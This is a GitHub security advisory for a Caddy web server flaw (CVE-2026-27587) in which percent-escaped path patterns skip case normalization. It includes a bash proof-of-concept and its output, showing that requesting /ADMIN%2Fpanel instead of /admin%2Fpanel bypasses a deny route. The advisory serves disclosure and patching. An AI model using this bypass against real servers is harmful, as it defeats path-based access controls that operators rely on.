GitHub Advisoryadvisory · Go

GHSA-g7pc-pc7g-h8jh Caddy: MatchPath %xx (escaped-path) branch skips case normalization, enabling path-based route/auth bypass

HIGH Published 2026-02-24 Modified 2026-02-27 Official page ↗
Aliases
CVE-2026-27587
Ecosystem
Go
Packages
github.com/caddyserver/caddy/v2
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-178
Reviewed
2026-02-24

Affected packages

• Go github.com/caddyserver/caddy/v2: < 2.11.1 → fixed in 2.11.1

Description

Summary Caddy's HTTP `path` request matcher is intended to be case-insensitive, but when the match pattern contains percent-escape sequences (`%xx`) it compares against the request's escaped path without lowercasing. An attacker can bypass path-based routing and any access controls attached to that route by changing the casing of the request path. Details In Caddy `v2.10.2`, `MatchPath` is explicitly designed to be case-insensitive and lowercases match patterns during provisioning: • `modules/caddyhttp/matchers.go`: rationale captured in the `MatchPath` comment. • `MatchPath.Provision` lowercases configured patterns via `strings.ToLower`. • `MatchPath.MatchWithError` lowercases the request path for the normal matching path: `reqPath := strings.ToLower(r.URL.Path)`. But when a match pattern contains a percent sign (`%`), `MatchPath.MatchWithError` switches to "escaped space" matching and builds the comparison string from `r.URL.EscapedPath()`: • `reqPathForPattern := CleanPath(r.URL.EscapedPath(), mergeSlashes)` • If it doesn't match, it `continue`s (skipping the remaining matching logic for that pattern). Because `r.URL.EscapedPath()` is not lowercased, case differences in the request path can cause the escaped-space match to fail even though `MatchPath` is meant to be case-insensitive. For example, with a pattern of `/admin%2Fpanel`: • Requesting `/admin%2Fpanel` matches and can be denied as intended. • Requesting `/ADMIN%2Fpanel` does not match and falls through to other routes/handlers. Suggested fix • In the `%`-pattern matching path, ensure the effective string passed to `path.Match` is lowercased (same as the normal branch). • Simplest seems to lowercase the constructed string in `matchPatternWithEscapeSequence` right before `path.Match`. Reproduced on: • Stable release: `v2.10.2` -- this is the release referenced in the reproduction below. • Dev build: `v2.11.0-beta.2`. • Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`. PoC Prereqs: • bash, curl • A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed) Script (Click to expand) ```bash !/usr/bin/env bash set -euo pipefail CADDY_BIN="/opt/caddy-2.10.2/caddy" HOST="127.0.0.1" PORT="8080" TMPDIR="$(mktemp -d)" CADDYFILE="${TMPDIR}/Caddyfile" LOG="${TMPDIR}/caddy.log" cleanup() { if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then kill "${CADDY_PID}" 2>/dev/null || true wait "${CADDY_PID}" 2>/dev/null || true fi rm -rf "${TMPDIR}" 2>/dev/null || true } trap cleanup EXIT if [ ! -x "${CADDY_BIN}" ]; then echo "error: missing caddy binary at ${CADDY_BIN}" >&2 exit 2 fi echo "== Caddy version ==" "${CADDY_BIN}" version cat >"${CADDYFILE}" "${LOG}" 2>&1 & CADDY_PID="$!" sleep 2 echo echo "== Request 1 (baseline - expect deny) ==" echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel" curl -v -H "Host: example.test" "http://${HOST}:${PORT}/admin%2Fpanel" 2>&1 || true echo echo "== Request 2 (BYPASS - expect allow) ==" echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel" curl -v -H "Host: example.test" "http://${HOST}:${PORT}/ADMIN%2Fpanel" 2>&1 || true echo echo "== Stop Caddy ==" kill "${CADDY_PID}" 2>/dev/null || true wait "${CADDY_PID}" 2>/dev/null || true echo echo "== Full Caddy debug log ==" cat "${LOG}" ``` Expected output (Click to expand) ```bash == Caddy version == v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8= == Caddyfile == { debug } :8080 { log @block { path /admin%2Fpanel } respond @block "DENY" 403 respond "ALLOW" 200 } == Start Caddy (debug + capture logs) == cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.GXiRbxOnBN/Caddyfile --adapter caddyfile == Request 1 (baseline - expect deny) == cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel • Trying 127.0.0.1:8080... • Connected to 127.0.0.1 (127.0.0.1) port 8080 • using HTTP/1.x > GET /admin%2Fpanel HTTP/1.1 > Host: example.test > User-Agent: curl/8.15.0 > Accept: */* > • Request completely sent off GET /ADMIN%2Fpanel HTTP/1.1 > Host: example.test > User-Agent: curl/8.15.0 > Accept: */* > • Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:19:20 GMT < Content-Length: 5 < • Connection #0 to host 127.0.0.1 left intact ALLOW == Stop Caddy == == Full Caddy debug log == {"level":"info","ts":1770589158.3687892,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"} {"level":"info","ts":1770589158.3690693,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807} {"level":"info","ts":1770589158.369109,"msg":"using config from file","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile"} {"level":"info","ts":1770589158.3704133,"msg":"adapted config to JSON","adapter":"caddyfile"} {"level":"warn","ts":1770589158.370424,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile","line":2} {"level":"info","ts":1770589158.3715324,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//localhost:2019","//[::1]:2019","//127.0.0.1:2019"]} {"level":"debug","ts":1770589158.3716462,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}],"automatic_https":{},"logs":{}}}}} {"level":"debug","ts":1770589158.3718414,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false} {"level":"warn","ts":1770589158.371858,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1770589158.3718607,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1770589158.3718636,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"debug","ts":1770589158.3718896,"logger":"events","msg":"event","name":"started","id":"6bb8b6fe-4980-4a48-9f7e-2146ecd48ce6","origin":"","data":null} {"level":"info","ts":1770589158.3720388,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"} {"level":"info","ts":1770589158.3720443,"msg":"serving initial configuration"} {"level":"info","ts":1770589158.372355,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc00064d180"} {"level":"info","ts":1770589158.3855736,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770675558.3855705,"try_again_in":86399.999999388} {"level":"info","ts":1770589158.3857276,"logg…

Related

Alias · CVE (1)

  • CVE-2026-27587 Caddy is an extensible server platform that uses TLS by default. vulnerability

Weakness · CWE (1)

  • CWE-178 Improper Handling of Case Sensitivity weakness

References